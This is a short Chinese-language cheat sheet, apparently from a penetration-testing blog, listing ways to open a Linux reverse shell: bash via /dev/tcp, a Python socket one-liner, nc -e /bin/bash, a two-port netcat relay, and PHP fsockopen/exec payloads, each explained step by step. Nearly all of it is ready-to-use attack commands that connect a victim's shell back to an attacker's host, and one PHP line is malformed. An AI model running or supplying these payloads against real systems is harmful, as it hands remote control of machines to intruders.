linux反弹shell

在渗透过程中,经常需要反弹shell,因此总结一下linux反弹shell的几种姿势:

bash -i >&  /dev/tcp/ip/port 0>&1

linux反弹shell

bash -i 本地打开一个bash

>&  输出重定向,将标准输出和标准错误输出都重定向到远程。

/dev/tcp/ip/port/ 建立一个socket连接到另一个机器上,即远程到其他机器。

0>&1 标准输入重定向到标准输出,但是此时标准输出已经重定向到了/dev/tcp/ip/port这个

文件,即自己的攻击机上,也就意味着输入和输出都在远程上了

/dev/tcp/ linux中一切都是文件,设备也是文件,打开这个文件,发出了一个socket调用,

建立了一个socket连接

python -c  //执行后面的代码

"import os,socket,subprocess; // 导入三个库 socket  subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); //创建一个使用TCP的socket

s.connect(('ip',port));  // 执行connect函数连接到监听机器的IP和端口

os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);

//使用os库的dup2函数重定向。

p=subprocess.call(['/bin/bash','-i']);"  

//建立一个子进程,传入参数-i,是bash以交互模式启动。

linux反弹shell

nc -e /bin/bash ip port

-e 在创建连接之后执行的程序,

在创建NC链接之后,执行本地shell(/bin/bash)即完成了反弹

linux反弹shell

目标机:nc  ip1 81  |  /bin/bash  |  nc ip2 82

攻击机:nc -lvvp 81  nc -lvvp 82

管道符号“|” 可以将上一个命令的输出作为下一个命令的输入

将 ip1 81 传过来的命令交给/bin/bash执行,将结果传给 ip2 82

linux反弹shell

linux反弹shell

linux反弹shell

php- 'exec("/bin/bash -i >& /dev/tcp/ip/port")'

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'